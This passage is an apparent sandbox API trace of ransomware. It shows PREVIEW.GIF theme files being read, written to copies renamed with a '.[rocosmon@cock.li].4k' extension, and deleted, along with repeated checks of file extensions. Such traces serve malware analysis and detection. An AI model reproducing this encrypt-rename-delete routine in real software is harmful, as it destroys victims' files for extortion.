	[0102.844] CloseHandle (hObject=0x210) returned 1
	[0102.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20
	[0102.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.844] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.844] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0102.870] GetLastError () returned 0x0
	[0102.870] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x7fc, lpOverlapped=0x0) returned 1
	[0104.677] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x800, lpOverlapped=0x0) returned 1
	[0104.808] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0104.808] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0104.808] SetEndOfFile (hFile=0x21c) returned 1
	[0104.808] CloseHandle (hObject=0x21c) returned 1
	[0104.809] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.809] SetEndOfFile (hFile=0x210) returned 1
	[0104.809] CloseHandle (hObject=0x210) returned 1
	[0104.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0104.810] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1
	[0104.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.810] lstrlenW (lpString=".doc") returned 4
	[0104.810] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0104.810] lstrlenW (lpString=".docx") returned 5
	[0104.810] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0104.810] lstrlenW (lpString=".pdf") returned 4
	[0104.810] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0104.810] lstrlenW (lpString=".xls") returned 4
	[0104.810] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0104.810] lstrlenW (lpString=".xlsx") returned 5
	[0104.810] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0104.810] lstrlenW (lpString=".ppt") returned 4
	[0104.810] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0104.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.810] lstrlenW (lpString=".zip") returned 4
	[0104.810] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0104.810] lstrlenW (lpString=".rar") returned 4
	[0104.810] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0104.810] lstrlenW (lpString=".bz2") returned 4
	[0104.810] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0104.810] lstrlenW (lpString=".7z") returned 3
	[0104.810] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0104.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.810] lstrlenW (lpString=".dbf") returned 4
	[0104.810] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0104.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.810] lstrlenW (lpString=".1cd") returned 4
	[0104.811] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0104.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.811] lstrlenW (lpString=".jpg") returned 4
	[0104.811] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0104.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.811] lstrlenW (lpString=".doc") returned 4
	[0104.811] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0104.811] lstrlenW (lpString=".docx") returned 5
	[0104.811] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0104.811] lstrlenW (lpString=".pdf") returned 4
	[0104.811] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0104.811] lstrlenW (lpString=".xls") returned 4
	[0104.811] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0104.811] lstrlenW (lpString=".xlsx") returned 5
	[0104.811] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0104.811] lstrlenW (lpString=".ppt") returned 4
	[0104.811] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0104.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.811] lstrlenW (lpString=".zip") returned 4
	[0104.811] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0104.811] lstrlenW (lpString=".rar") returned 4
	[0104.811] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0104.811] lstrlenW (lpString=".bz2") returned 4
	[0104.811] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0104.811] lstrlenW (lpString=".7z") returned 3
	[0104.811] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0104.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.811] lstrlenW (lpString=".dbf") returned 4
	[0104.811] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0104.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.812] lstrlenW (lpString=".1cd") returned 4
	[0104.812] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0104.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76
	[0104.812] lstrlenW (lpString=".jpg") returned 4
	[0104.812] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0104.812] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0104.812] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0104.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0104.979] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1347) returned 1
	[0104.979] CloseHandle (hObject=0x1fc) returned 1
	[0104.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20
	[0104.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0104.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0104.980] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.980] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.076] GetLastError () returned 0x0
	[0105.076] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x543, lpOverlapped=0x0) returned 1
	[0105.137] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0105.138] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.138] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.138] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.138] CloseHandle (hObject=0x1e4) returned 1
	[0105.139] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.139] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.140] CloseHandle (hObject=0x1fc) returned 1
	[0105.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.140] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1
	[0105.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.140] lstrlenW (lpString=".doc") returned 4
	[0105.140] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.140] lstrlenW (lpString=".docx") returned 5
	[0105.140] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.140] lstrlenW (lpString=".pdf") returned 4
	[0105.140] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.140] lstrlenW (lpString=".xls") returned 4
	[0105.141] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.141] lstrlenW (lpString=".xlsx") returned 5
	[0105.141] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.141] lstrlenW (lpString=".ppt") returned 4
	[0105.141] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.141] lstrlenW (lpString=".zip") returned 4
	[0105.141] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.141] lstrlenW (lpString=".rar") returned 4
	[0105.141] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.141] lstrlenW (lpString=".bz2") returned 4
	[0105.141] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.141] lstrlenW (lpString=".7z") returned 3
	[0105.141] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.141] lstrlenW (lpString=".dbf") returned 4
	[0105.141] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.141] lstrlenW (lpString=".1cd") returned 4
	[0105.141] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.141] lstrlenW (lpString=".jpg") returned 4
	[0105.141] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.141] lstrlenW (lpString=".doc") returned 4
	[0105.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.142] lstrlenW (lpString=".docx") returned 5
	[0105.142] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.142] lstrlenW (lpString=".pdf") returned 4
	[0105.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.142] lstrlenW (lpString=".xls") returned 4
	[0105.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.142] lstrlenW (lpString=".xlsx") returned 5
	[0105.142] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.142] lstrlenW (lpString=".ppt") returned 4
	[0105.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.142] lstrlenW (lpString=".zip") returned 4
	[0105.142] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.142] lstrlenW (lpString=".rar") returned 4
	[0105.142] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.142] lstrlenW (lpString=".bz2") returned 4
	[0105.142] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.142] lstrlenW (lpString=".7z") returned 3
	[0105.142] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.142] lstrlenW (lpString=".dbf") returned 4
	[0105.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.142] lstrlenW (lpString=".1cd") returned 4
	[0105.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0105.142] lstrlenW (lpString=".jpg") returned 4
	[0105.143] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.143] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.143] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.143] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2552) returned 1
	[0105.143] CloseHandle (hObject=0x1fc) returned 1
	[0105.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20
	[0105.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.144] GetLastError () returned 0x0
	[0105.144] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x9f8, lpOverlapped=0x0) returned 1
	[0105.188] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xa00, lpOverlapped=0x0) returned 1
	[0105.189] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.189] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.190] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.190] CloseHandle (hObject=0x1e4) returned 1
	[0105.190] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.190] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.192] CloseHandle (hObject=0x1fc) returned 1
	[0105.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.192] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1
	[0105.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.193] lstrlenW (lpString=".doc") returned 4
	[0105.193] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.193] lstrlenW (lpString=".docx") returned 5
	[0105.193] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.193] lstrlenW (lpString=".pdf") returned 4
	[0105.193] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.193] lstrlenW (lpString=".xls") returned 4
	[0105.193] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.193] lstrlenW (lpString=".xlsx") returned 5
	[0105.193] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.193] lstrlenW (lpString=".ppt") returned 4
	[0105.193] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.193] lstrlenW (lpString=".zip") returned 4
	[0105.193] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.193] lstrlenW (lpString=".rar") returned 4
	[0105.193] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.193] lstrlenW (lpString=".bz2") returned 4
	[0105.193] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.193] lstrlenW (lpString=".7z") returned 3
	[0105.193] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.194] lstrlenW (lpString=".dbf") returned 4
	[0105.194] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.194] lstrlenW (lpString=".1cd") returned 4
	[0105.194] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.194] lstrlenW (lpString=".jpg") returned 4
	[0105.194] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.194] lstrlenW (lpString=".doc") returned 4
	[0105.194] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.194] lstrlenW (lpString=".docx") returned 5
	[0105.194] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.194] lstrlenW (lpString=".pdf") returned 4
	[0105.194] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.194] lstrlenW (lpString=".xls") returned 4
	[0105.194] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.194] lstrlenW (lpString=".xlsx") returned 5
	[0105.194] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.194] lstrlenW (lpString=".ppt") returned 4
	[0105.194] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.194] lstrlenW (lpString=".zip") returned 4
	[0105.194] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.194] lstrlenW (lpString=".rar") returned 4
	[0105.195] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.195] lstrlenW (lpString=".bz2") returned 4
	[0105.195] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.195] lstrlenW (lpString=".7z") returned 3
	[0105.195] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.195] lstrlenW (lpString=".dbf") returned 4
	[0105.195] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.195] lstrlenW (lpString=".1cd") returned 4
	[0105.195] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0105.195] lstrlenW (lpString=".jpg") returned 4
	[0105.195] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.195] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.195] lstrlenW (lpString="THMBNAIL.PNG") returned 12
